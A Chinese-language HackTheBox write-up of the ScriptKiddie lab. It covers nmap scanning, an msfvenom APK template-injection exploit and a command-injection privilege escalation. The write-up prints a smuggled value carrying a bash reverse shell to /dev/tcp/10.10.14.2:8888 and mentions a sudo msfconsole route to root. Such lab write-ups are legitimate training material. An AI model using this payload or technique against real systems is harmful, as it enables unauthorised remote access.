HackTheBox—ScriptKiddi

admin 2021年7月24日09:23:10评论104 views字数 1468阅读4分53秒阅读模式

文章源自【字节脉搏社区】-字节脉搏实验室

作者-Zone

扫描下方二维码进入社区

HackTheBox—ScriptKiddi

 在HTB里面看到了一些新的靶场,便开始了靶场之路

HackTheBox—ScriptKiddi

    ScriptKiddie 难度4.1,感觉还行,开启环境,先访问下ip

HackTheBox—ScriptKiddi

拒绝访问,说明具有web站点,但80端口未开放,nmap扫描端口

HackTheBox—ScriptKiddi

开放了22,5000,8000,8888端口,但5000端口和8888端口打开是拒绝访问,所以从5000端口入手

HackTheBox—ScriptKiddi

工具集成的页面,nmap、msfvenom、searchsploit三款工具集成,先使用nmap ping127.0.0.1看下信息

HackTheBox—ScriptKiddi

两个端口22和5000,版本7.80,搜索一圈后没发现nmap7.80存在可利用漏洞,目光转向mfvenom,在exploit-db里找到一篇msfvenom apk模板注入,可以利用

HackTheBox—ScriptKiddi

HackTheBox—ScriptKiddi

因为有提供payload,下载之后保存到本地

运行payload会提示没有jarsigner命令,执行sudo apt-get install openjdk-11-jdk-headless,然后修改payload

HackTheBox—ScriptKiddi

这里注意ip,如果是虚拟机先下载openvpn(sudo apt-get openvpn) 在htb上下载配置文件,直接用openvpn打开就可以

查看下自己的ip,确认和靶机在同一个段,然后运行payload会生成一个evil.apk文件,在venom处上传apk文件,同时监听443端口

HackTheBox—ScriptKiddi

HackTheBox—ScriptKiddi

HackTheBox—ScriptKiddi

第二种方法:msf生成,在msf里搜索venom,调用第一个,设置好ip和端口,然后执行,在本地生成一个msf.apk,监听端口,上传,得到shell

HackTheBox—ScriptKiddi

相比较而言,第二种更稳定一点。得到shell之后切换到home目录可以看到存在kid和pwn两个用户,进入kid用户,可以看到user.txt,得到普通用户的flagHackTheBox—ScriptKiddi

在pwn用户下看到存在scanlosers.sh文件,查看发现scanlosers.sh会一直扫描/home/kid/logs/hackers文件中的ip,但是该shell脚本未对hackers文件传入的内容做过滤,且/home/kid/logs/hackers文件当前用户kid可编辑

HackTheBox—ScriptKiddi

因此可以通过写入恶意代码“test  ;/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.2/8888 0>&1' #”,利用命令注入获得pwn用户的shell

HackTheBox—ScriptKiddi

HackTheBox—ScriptKiddi

得到pwn用户的shell,sudo -l发现不需要密码的sudo程序

HackTheBox—ScriptKiddi

sudo /opt/metasploit-framework-6.0.0/msfconsole

HackTheBox—ScriptKiddi

切换至root目录,查看

HackTheBox—ScriptKiddi

发现root.txt,查看该txt文件得到root用户的flag

HackTheBox—ScriptKiddi

提交,完事

HackTheBox—ScriptKiddi



注意事项:1、exp下载之后需要执行sudo apt-get install openjdk-11-jdk-headless命令

                  2、注意ip,确认主机和靶机在同一网段,如果是虚拟机,先下载openvpn,然后下载配置文件,使用openvpn打开即可

                  3、如果上传的时候nc无法反弹回shell,可以重置一下靶机,删除已经生成好的apk文件重新生成一个apk文件,在进行上传



通知!

公众号招募文章投稿小伙伴啦!只要你有技术有想法要分享给更多的朋友,就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~

HackTheBox—ScriptKiddi

记得扫码

关注我们

本文始发于微信公众号(字节脉搏实验室):HackTheBox—ScriptKiddi

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月24日09:23:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox—ScriptKiddihttp://cn-sec.com/archives/393395.html

发表评论

匿名网友 填写信息